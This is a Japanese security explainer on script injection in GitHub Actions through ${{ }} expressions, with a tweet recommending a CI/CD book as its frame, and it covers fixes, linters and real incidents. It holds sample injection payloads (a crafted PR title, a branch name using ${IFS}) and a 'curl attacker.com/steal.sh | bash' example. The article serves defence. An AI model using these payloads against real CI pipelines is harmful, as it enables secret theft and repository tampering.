『GitHub CI/CD実践ガイド』著者の tmknom 氏(@tmknom)が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。
はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね!
引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。
# 危険なコード
- run: echo "PR title is ${{ github.event.pull_request.title }}"一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。
"; echo INJECTED"
展開後のシェルコマンドは以下になります。
echo "PR title is "; echo INJECTED""セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。
GitHub Actions の ${{ }} テンプレート式は、シェルが起動する前に評価・展開されます。
ワークフロー YAML を読み込み
↓
${{ }} 式を文字列として展開(この時点でシェルは未起動)
↓
展開後の文字列をシェル(bash)に渡す
↓
シェルがコマンドとして解釈・実行
つまり ${{ }} はシェル変数ではなく、文字列置換です。シェルの引用符やエスケープ機構を一切通過しないため、攻撃者が挿入した ;、"、$() などのメタ文字がそのままシェルに解釈されます。
GitHub 公式ドキュメントによると、攻撃者が制御可能なコンテキストは以下の属性で終わるものです。
body, default_branch, email, head_ref, label, message, name, page_name, ref, title
具体的には以下が攻撃対象になります。
| コンテキスト | 攻撃経路 |
|---|---|
github.event.pull_request.title |
PR タイトルに悪意ある文字列を設定 |
github.event.pull_request.body |
PR 本文にインジェクションコードを埋め込み |
github.event.issue.title |
Issue タイトルを利用 |
github.event.issue.body |
Issue 本文を利用 |
github.event.comment.body |
コメントを利用 |
github.head_ref |
ブランチ名にコードを埋め込み |
github.event.commits[*].message |
コミットメッセージを利用 |
ブランチ名にはスペースが使えませんが、${IFS}(Internal Field Separator)で回避できます。
main";echo${IFS}INJECTED"
このブランチ名で PR を作成すると、${{ github.head_ref }} を使ったワークフローでインジェクションが成立します。
修正は 1 行の変更です。${{ }} を run の中で直接使う代わりに、環境変数を経由させます。
- run: echo "PR title is ${{ github.event.pull_request.title }}"- run: echo "PR title is ${PR_TITLE}"
env:
PR_TITLE: ${{ github.event.pull_request.title }}env で渡された値はシェル環境変数として扱われるため、メタ文字がコマンドとして解釈されません。
# これも危険!
- run: echo "PR title is ${{ env.PR_TITLE }}"
env:
PR_TITLE: ${{ github.event.pull_request.title }}${{ env.PR_TITLE }} は再びテンプレート式として展開されるため、環境変数を経由した意味がなくなります。必ず ${PR_TITLE}(シェル変数参照)を使ってください。
スクリプトインジェクションが「理論上の脅威」ではないことは、2025年に発生した一連の攻撃で証明されています。
2025年3月、23,000以上のリポジトリで使用されていた tj-actions/changed-files が侵害されました。
| 項目 | 内容 |
|---|---|
| 影響範囲 | 23,000+ リポジトリ |
| 攻撃手法 | 複数バージョンタグを悪意あるコミットに書き換え |
| 被害 | CI ランナーのメモリダンプ → シークレット(PAT、npm トークン、RSA キー)が公開リポジトリのログに露出 |
| 関連 CVE | CVE-2025-30154(reviewdog/action-setup も同時に侵害) |
CISA(米国サイバーセキュリティ・社会基盤安全保障庁)が緊急アラートを発出する規模の事件でした。
AI/ML で広く使われる YOLO ライブラリが、GitHub Actions ワークフローの脆弱性を突かれて侵害されました。CI/CD パイプライン経由で悪意あるコードがパッケージに混入し、PyPI を通じて配布されました。
2026年には、広く使われている Super-linter でファイル名を経由したコマンドインジェクションが発見されています。バージョン 6.0.0〜8.3.0 が影響を受け、攻撃者は細工されたファイル名にシェルコマンド置換構文を含めることで任意のコマンドを実行できました。
GitHub Actions ワークフローファイルの静的解析ツールです。スクリプトインジェクションの検出に対応しています。
# インストール
brew install actionlint
# 実行
actionlint .github/workflows/*.yml${{ }} を run ステップで直接使用している箇所を検出し、警告を出します。
GitHub Actions に特化したセキュリティ静的解析ツールです。actionlint より広範なセキュリティチェックを提供します。
# インストール
pip install zizmor
# 実行
zizmor .github/workflows/検出項目:
- テンプレートインジェクション
- ハードコードされた認証情報
- 過剰なトークン権限(
permissionsの設定漏れ) - ミュータブルタグでピン留めされたサードパーティ Actions
- セキュリティアドバイザリが出ている Actions の使用
SARIF 形式での出力に対応しており、GitHub Advanced Security の Security タブに結果を表示できます。
name: Security Check
on: [pull_request]
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run actionlint
uses: rhysd/actionlint@v1
- name: Run zizmor
run: |
pip install zizmor
zizmor .github/workflows/| # | 対策 | 説明 |
|---|---|---|
| 1 | ${{ }} を run で直接使わない |
環境変数 env: を経由させる |
| 2 | ${{ env.* }} も使わない |
シェル変数 ${VAR} を使う |
| 3 | actionlint / zizmor を CI に導入 | PR ごとに自動チェック |
| 4 | サードパーティ Actions をコミットハッシュでピン留め | タグは書き換え可能なため @v1 ではなく @sha256:... |
| 5 | permissions を最小権限に設定 |
permissions: read-all やデフォルトの広い権限を避ける |
| 6 | pull_request_target を避ける |
Fork からの PR で書き込み権限が付与される危険なトリガー |
| 7 | シークレットをログに出力しない | ::add-mask:: で自動マスクを設定 |
tmknom 氏が「穴が開くまで読んでください」と呼びかけている『GitHub CI/CD実践ガイド』(技術評論社、2024年)は、GitHub Actions の設計と運用を体系的に解説した書籍です。
本書は以下を網羅しています。
- GitHub Actions の基本構文からワークフロー設計
- テスト・静的解析の自動化
- シークレット管理と脆弱性検出
- OpenID Connect を使った安全な認証
- Dependabot によるサプライチェーン管理
- コンテナデプロイとリリース自動化
スクリプトインジェクションのような個別の脆弱性だけでなく、CI/CD パイプライン全体のセキュリティ設計を学べる点が、単発の記事との違いです。
${{ }}をrunで直接使うとシェルインジェクションが成立する: テンプレート式はシェル起動前に展開されるため、攻撃者が挿入したメタ文字がそのままコマンドとして実行されます- 修正は環境変数を経由させるだけ:
env:で渡して${VAR}で参照する。${{ env.* }}は安全ではない点に注意 - 2025年に23,000リポジトリが影響を受けた実例がある: tj-actions/changed-files の侵害は CISA が緊急アラートを出す規模でした
- actionlint と zizmor で自動検出できる: CI/CD に組み込めば PR ごとにチェック可能です
- サードパーティ Actions はコミットハッシュでピン留めする: タグは書き換え可能なためバージョン指定だけでは不十分です
- プライベートリポジトリも安全ではない: GitHub App が侵害されればプライベートリポジトリのワークフローも攻撃対象になります
- tmknom 氏 (@tmknom) のツイート
- GitHub Actionsにおけるスクリプトインジェクション(Zenn)
- Script injections — GitHub Docs
- Security hardening for GitHub Actions — GitHub Docs
- 『GitHub CI/CD実践ガイド』(技術評論社)
- tj-actions/changed-files サプライチェーン攻撃(Wiz Blog)
- CISA アラート: CVE-2025-30066 / CVE-2025-30154
- zizmor — Static Analysis for GitHub Actions
- actionlint — Static checker for GitHub Actions
- CVE-2026-25761: Super-linter Command Injection(SentinelOne)